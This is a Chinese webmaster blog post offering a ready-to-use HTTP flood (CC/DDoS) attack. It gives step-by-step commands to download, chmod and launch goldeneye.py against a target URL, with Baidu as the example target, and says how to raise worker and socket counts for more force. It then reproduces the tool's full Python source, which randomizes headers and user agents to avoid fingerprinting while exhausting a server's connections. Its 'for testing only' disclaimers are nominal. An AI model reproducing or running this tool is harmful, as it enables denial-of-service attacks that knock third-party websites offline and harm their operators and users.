网站首页 站长资讯 正文
原以为本方法是某QQ群原创,百度了一下居然去年就烂大街了,感兴趣的朋友自行测试哦!仅提供学习代码原理!
操作手法
首先将goldeneye.py上传到您某个网站上;
使用Linux服务器wget下载脚本;
wget http://您的域名/goldeneye.py
这个脚本简称黄金眼,威力巨大,据说试过秒中小型站点;
但是脚本设置默认50并发 持续30秒 时间有点短 可以自己去改改脚本 相信大家都能看懂 根据自己服务器稍调一下
然后给予goldeneye.py脚本权限:
chmod +x goldeneye.py
攻击命令如下:
./goldeneye.py http://baidu.com
把那个http://baidu.com改成要攻击的网站即可
加大线程:
./goldeneye.py www.baidu.com/ -s 300 -w 300
此脚本仅供测试,请勿用于非法用途!
goldeneye.py代码
#!/usr/bin/env python """ $Id: $ /$$$$$$ /$$ /$$ /$$$$$$$$ /$$__ $$ | $$ | $$ | $$_____/ | $$ \__/ /$$$$$$ | $$ /$$$$$$$ /$$$$$$ /$$$$$$$ | $$ /$$ /$$ /$$$$$$ | $$ /$$$$ /$$__ $$| $$ /$$__ $$ /$$__ $$| $$__ $$| $$$$$ | $$ | $$ /$$__ $$ | $$|_ $$| $$ \ $$| $$| $$ | $$| $$$$$$$$| $$ \ $$| $$__/ | $$ | $$| $$$$$$$$ | $$ \ $$| $$ | $$| $$| $$ | $$| $$_____/| $$ | $$| $$ | $$ | $$| $$_____/ | $$$$$$/| $$$$$$/| $$| $$$$$$$| $$$$$$$| $$ | $$| $$$$$$$$| $$$$$$$| $$$$$$$ \______/ \______/ |__/ \_______/ \_______/|__/ |__/|________/ \____ $$ \_______/ /$$ | $$ | $$$$$$/ \______/ This tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them to their knees by exhausting the resource pool. This tool is meant for research purposes only and any malicious usage of this tool is prohibited. @author Jan Seidl <http://wroot.org/> @date 2013-03-26 @version 2.0 @TODO Test in python 3.x LICENSE: This software is distributed under the GNU General Public License version 3 (GPLv3) LEGAL NOTICE: THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL USE ONLY! IF YOU ENGAGE IN ANY ILLEGAL ACTIVITY THE AUTHOR DOES NOT TAKE ANY RESPONSIBILITY FOR IT. BY USING THIS SOFTWARE YOU AGREE WITH THESE TERMS. """ from multiprocessing import Process, Manager import urlparse, ssl import sys, getopt, random, time # Python version-specific if sys.version_info < (3,0): # Python 2.x import httplib HTTPCLIENT = httplib else: # Python 3.x import http.client HTTPCLIENT = http.client #### # Config #### DEBUG = False #### # Constants #### METHOD_GET = 'get' METHOD_POST = 'post' METHOD_RAND = 'random' JOIN_TIMEOUT=1.0 DEFAULT_WORKERS=50 DEFAULT_SOCKETS=30 #### # GoldenEye Class #### class GoldenEye(object): # Counters counter = [0, 0] last_counter = [0, 0] # Containers workersQueue = [] manager = None # Properties url = None # Options nr_workers = DEFAULT_WORKERS nr_sockets = DEFAULT_SOCKETS method = METHOD_GET def __init__(self, url): # Set URL self.url = url # Initialize Manager self.manager = Manager() # Initialize Counters self.counter = self.manager.list((0, 0)) def exit(self): self.stats() print "Shutting down GoldenEye" def __del__(self): self.exit() def printHeader(self): # Taunt! print "GoldenEye firing!" # Do the fun! def fire(self): self.printHeader() print "Hitting webserver in mode {0} with {1} workers running {2} connections each".format(self.method, self.nr_workers, self.nr_sockets) if DEBUG: print "Starting {0} concurrent Laser workers".format(self.nr_workers) # Start workers for i in range(int(self.nr_workers)): try: worker = Laser(self.url, self.nr_sockets, self.counter) worker.method = self.method self.workersQueue.append(worker) worker.start() except (Exception): error("Failed to start worker {0}".format(i)) pass print "Initiating monitor" self.monitor() def stats(self): try: if self.counter[0] > 0 or self.counter[1] > 0: print "{0} GoldenEye punches deferred. ({1} Failed)".format(self.counter[0], self.counter[1]) if self.counter[0] > 0 and self.counter[1] > 0 and self.last_counter[0] == self.counter[0] and self.counter[1] > self.last_counter[1]: print "\tServer may be DOWN!" self.last_counter[0] = self.counter[0] self.last_counter[1] = self.counter[1] except (Exception): pass # silently ignore def monitor(self): while len(self.workersQueue) > 0: try: for worker in self.workersQueue: if worker is not None and worker.is_alive(): worker.join(JOIN_TIMEOUT) else: self.workersQueue.remove(worker) self.stats() except (KeyboardInterrupt, SystemExit): print "CTRL+C received. Killing all workers" for worker in self.workersQueue: try: if DEBUG: print "Killing worker {0}".format(worker.name) #worker.terminate() worker.stop() except Exception, ex: pass # silently ignore if DEBUG: raise else: pass #### # Laser Class #### class Laser(Process): # Counters request_count = 0 failed_count = 0 # Containers url = None host = None port = 80 ssl = False referers = [] useragents = [] socks = [] counter = None nr_socks = DEFAULT_SOCKETS # Flags runnable = True # Options method = METHOD_GET def __init__(self, url, nr_sockets, counter): super(Laser, self).__init__() self.counter = counter self.nr_socks = nr_sockets parsedUrl = urlparse.urlparse(url) if parsedUrl.scheme == 'https': self.ssl = True self.host = parsedUrl.netloc.split(':')[0] self.url = parsedUrl.path self.port = parsedUrl.port if not self.port: self.port = 80 if not self.ssl else 443 self.referers = [ 'http://www.google.com/?q=', 'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q=', 'http://' + self.host + '/' ] self.useragents = [ 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3', 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)', 'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)', 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)', 'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)', 'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)', 'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51', ] def __del__(self): self.stop() #builds random ascii string def buildblock(self, size): out_str = '' _LOWERCASE = range(97, 122) _UPPERCASE = range(65, 90) _NUMERIC = range(48, 57) validChars = _LOWERCASE + _UPPERCASE + _NUMERIC for i in range(0, size): a = random.choice(validChars) out_str += chr(a) return out_str def run(self): if DEBUG: print "Starting worker {0}".format(self.name) while self.runnable: try: for i in range(self.nr_socks): if self.ssl: c = HTTPCLIENT.HTTPSConnection(self.host, self.port) else: c = HTTPCLIENT.HTTPConnection(self.host, self.port) self.socks.append(c) for conn_req in self.socks: (url, headers) = self.createPayload() method = random.choice([METHOD_GET, METHOD_POST]) if self.method == METHOD_RAND else self.method conn_req.request(method.upper(), url, None, headers) for conn_resp in self.socks: resp = conn_resp.getresponse() self.incCounter() self.closeConnections() except: self.incFailed() if DEBUG: raise else: pass # silently ignore if DEBUG: print "Worker {0} completed run. Sleeping...".format(self.name) def closeConnections(self): for conn in self.socks: try: conn.close() except: pass # silently ignore def createPayload(self): req_url, headers = self.generateData() random_keys = headers.keys() random.shuffle(random_keys) random_headers = {} for header_name in random_keys: random_headers[header_name] = headers[header_name] return (req_url, random_headers) def generateQueryString(self, ammount = 1): queryString = [] for i in range(ammount): key = self.buildblock(random.randint(3,10)) value = self.buildblock(random.randint(3,20)) element = "{0}={1}".format(key, value) queryString.append(element) return '&'.join(queryString) def generateData(self): returnCode = 0 param_joiner = "?" if len(self.url) == 0: self.url = '/' if self.url.count("?") > 0: param_joiner = "&" request_url = self.generateRequestUrl(param_joiner) http_headers = self.generateRandomHeaders() return (request_url, http_headers) def generateRequestUrl(self, param_joiner = '?'): return self.url + param_joiner + self.generateQueryString(random.randint(1,5)) def generateRandomHeaders(self): # Random no-cache entries noCacheDirectives = ['no-cache', 'must-revalidate'] random.shuffle(noCacheDirectives) noCache = ', '.join(noCacheDirectives) # Random accept encoding acceptEncoding = ['\'\'','*','identity','gzip','deflate'] random.shuffle(acceptEncoding) nrEncodings = random.randint(0,len(acceptEncoding)/2) roundEncodings = acceptEncoding[:nrEncodings] http_headers = { 'User-Agent': random.choice(self.useragents), 'Cache-Control': noCache, 'Accept-Encoding': ', '.join(roundEncodings), 'Connection': 'keep-alive', 'Keep-Alive': random.randint(110,120), 'Host': self.host, } # Randomly-added headers # These headers are optional and are # randomly sent thus making the # header count random and unfingerprintable if random.randrange(2) == 0: # Random accept-charset acceptCharset = [ 'ISO-8859-1', 'utf-8', 'Windows-1251', 'ISO-8859-2', 'ISO-8859-15', ] random.shuffle(acceptCharset) http_headers['Accept-Charset'] = '{0},{1};q={2},*;q={3}'.format(acceptCharset[0], acceptCharset[1],round(random.random(), 1), round(random.random(), 1)) if random.randrange(2) == 0: # Random Referer http_headers['Referer'] = random.choice(self.referers) + self.buildblock(random.randint(5,10)) if random.randrange(2) == 0: # Random Content-Trype http_headers['Content-Type'] = random.choice(['multipart/form-data', 'application/x-url-encoded']) if random.randrange(2) == 0: # Random Cookie http_headers['Cookie'] = self.generateQueryString(random.randint(1, 5)) return http_headers # Housekeeping def stop(self): self.runnable = False self.closeConnections() self.terminate() # Counter Functions def incCounter(self): try: self.counter[0] += 1 except (Exception): pass def incFailed(self): try: self.counter[1] += 1 except (Exception): pass #### #### # Other Functions #### def usage(): print print '-----------------------------------------------------------------------------------------------------------' print ' USAGE: ./goldeneye.py <url> [OPTIONS]' print print ' OPTIONS:' print '\t Flag\t\t\tDescription\t\t\t\t\t\tDefault' print '\t -w, --workers\t\tNumber of concurrent workers\t\t\t\t(default: {0})'.format(DEFAULT_WORKERS) print '\t -s, --sockets\t\tNumber of concurrent sockets\t\t\t\t(default: {0})'.format(DEFAULT_SOCKETS) print '\t -m, --method\t\tHTTP Method to use \'get\' or \'post\' or \'random\'\t\t(default: get)' print '\t -d, --debug\t\tEnable Debug Mode [more verbose output]\t\t\t(default: False)' print '\t -h, --help\t\tShows this help' print '-----------------------------------------------------------------------------------------------------------' def error(msg): # print help information and exit: sys.stderr.write(str(msg+"\n")) usage() sys.exit(2) #### # Main #### def main(): try: if len(sys.argv) < 2: error('Please supply at least the URL') url = sys.argv[1] if url == '-h': usage() sys.exit() if url[0:4].lower() != 'http': error("Invalid URL supplied") if url == None: error("No URL supplied") opts, args = getopt.getopt(sys.argv[2:], "dhw:s:m:", ["debug", "help", "workers", "sockets", "method" ]) workers = DEFAULT_WORKERS socks = DEFAULT_SOCKETS method = METHOD_GET for o, a in opts: if o in ("-h", "--help"): usage() sys.exit() elif o in ("-s", "--sockets"): socks = int(a) elif o in ("-w", "--workers"): workers = int(a) elif o in ("-d", "--debug"): global DEBUG DEBUG = True elif o in ("-m", "--method"): if a in (METHOD_GET, METHOD_POST, METHOD_RAND): method = a else: error("method {0} is invalid".format(a)) else: error("option '"+o+"' doesn't exists") goldeneye = GoldenEye(url) goldeneye.nr_workers = workers goldeneye.method = method goldeneye.nr_sockets = socks goldeneye.fire() except getopt.GetoptError, err: # print help information and exit: sys.stderr.write(str(err)) usage() sys.exit(2) if __name__ == "__main__": main()
自行把上述代码保存为goldeneye.py,上传到开始说的您自己的网站就可以了!
目录导航
操作手法
goldeneye.py代码
- 上一篇: 百度快排发包python源码核心文件
- 下一篇: 排名刷到排第一的思路
必看说明
- 本站中所有被研究的素材与信息全部来源于互联网,版权争议与本站无关。
- 本站文章或仅为文本内容原创,非程序原创。如有侵权、不妥之处,请联系站长第一时间删除。敬请谅解!
- 本站所有内容严格遵守国家法律的条例,所有研究的算法技术均来源于搜索引擎公开默认允许用户研究使用的接口。
- 阅读本文及获取资源前,请确保您已充分阅读并理解《访问曹操SEO网站需知:行为准则》。
- 本站分享的任何工具、程序仅供学习参考编写架构,仅可在本地的虚拟机内断网测试,严禁联网运行或上传搭建!
- 任何资源必须在下载后24个小时内,从电脑中彻底删除。不得传播或者用于其他任何用途!否则一切后果用户自负!
- 转载请注明 : 文章转载自 站群程序 Linux服务器发动CC(ddos)攻击脚本
- 本文标题:《Linux服务器发动CC(ddos)攻击脚本》
- 本文链接:http://www.zqcx.cn/882.html
猜你喜欢
- 2020-03-04 百度站长资源平台如何获取cookie值?
- 2020-03-01 黑客抓肉鸡发动ddos攻击获利十余万
- 2020-03-01 接单DDOS攻击获利被抓
- 2020-02-25 给曹操SEO网站留言评论,免费压力测试!
- 2020-02-23 我站遭受平日5倍力度的CC攻击情况说明
- 2020-02-22 丧心病狂的持续攻击,食屎啦你
- 2020-02-17 站群如何抵挡黑客的ddos或cc攻击?
- 2020-02-01 关于本站持续受到CC攻击的说明
- 2020-01-13 指尖ddos工具:30GB秒发包
- 2020-01-13 ddos攻防战:获取免费的CDN
你 发表评论:
欢迎- 8093℃遵纪守法:一起举报违法网址
- 7228℃警惕“冒用身份”的电信网络诈骗
- 7215℃备案域名的买卖管控会越来越严,不要尝试!
- 5099℃6月1日是《中华人民共和国网络安全法》实施五周年
- 4526℃违规事件分类与违规信息类型说明
- 4453℃关于严格遵守网络安全法规的公告
- 6440℃百度正打击构造虚假标题等违规站点
- 8175℃「百日行动」“断卡”行动持续发力
- 16124℃懒人开源站群程序V2.4.2:影视模板V2
- 15749℃通过Nginx配置增强网站安全性
- 14664℃多线程批量查询百家号文章存活情况
- 14485℃搜狐号安全系统升级通知
- 12301℃多线程批量查询链接收录情况(免代理)
- 12105℃百家号批量发布软件V1.8.5
- 11289℃企业网站安全漏洞应对:从修复到增强全方位安全新举措
- 8349℃CCSEO原创蜘蛛统计v1.3
- 12-09百家号批量发布软件V2.4.4
- 10-06关于SEO的一些真诚思考
- 08-18罪恶克星:不良网站举报工具填表版
- 05-01多线程批量查询百家号文章存活情况
- 04-22通过Nginx配置增强网站安全性
- 04-22企业网站安全漏洞应对:从修复到增强全方位安全新举措
- 04-21搜狐号安全系统升级通知
- 04-18多线程批量查询链接收录情况(免代理)
- 近期评论
- 文章归档
-
- 2024年10月 (1)
- 2024年8月 (1)
- 2024年5月 (1)
- 2024年4月 (10)
- 2024年3月 (6)
- 2024年1月 (2)
- 2023年12月 (4)
- 2023年11月 (2)
- 2023年10月 (7)
- 2023年9月 (24)
- 2023年8月 (6)
- 2023年7月 (20)
- 2023年6月 (13)
- 2023年5月 (26)
- 2023年4月 (48)
- 2023年3月 (21)
- 2023年2月 (15)
- 2023年1月 (10)
- 2022年12月 (10)
- 2022年11月 (3)
- 2022年10月 (28)
- 2022年9月 (37)
- 2022年8月 (16)
- 2022年7月 (23)
- 2022年6月 (24)
- 2022年5月 (10)
- 2022年4月 (53)
- 2022年3月 (67)
- 2022年2月 (3)
- 2022年1月 (4)
- 2021年12月 (24)
- 2021年11月 (18)
- 2021年10月 (3)
- 2021年9月 (22)
- 2021年8月 (60)
- 2021年7月 (3)
- 2021年6月 (16)
- 2021年5月 (25)
- 2021年4月 (1)
- 2021年3月 (39)
- 2021年1月 (7)
- 2020年12月 (19)
- 2020年11月 (11)
- 2020年10月 (49)
- 2020年9月 (114)
- 2020年8月 (63)
- 2020年7月 (28)
- 2020年6月 (50)
- 2020年5月 (124)
- 2020年4月 (83)
- 2020年3月 (91)
- 2020年2月 (81)
- 2020年1月 (18)
- 2019年12月 (79)
- 2019年11月 (16)
- 2019年10月 (35)
- 2019年9月 (3)
- 2017年12月 (1)
- 2017年11月 (203)
- 2017年10月 (155)
- 标签列表
- 站点信息
-
- 文章总数:2025
- 页面总数:7
- 分类总数:46
- 标签总数:339
- 评论总数:9366
- 浏览总数:5898972
本文暂时没有评论,来添加一个吧(●'◡'●)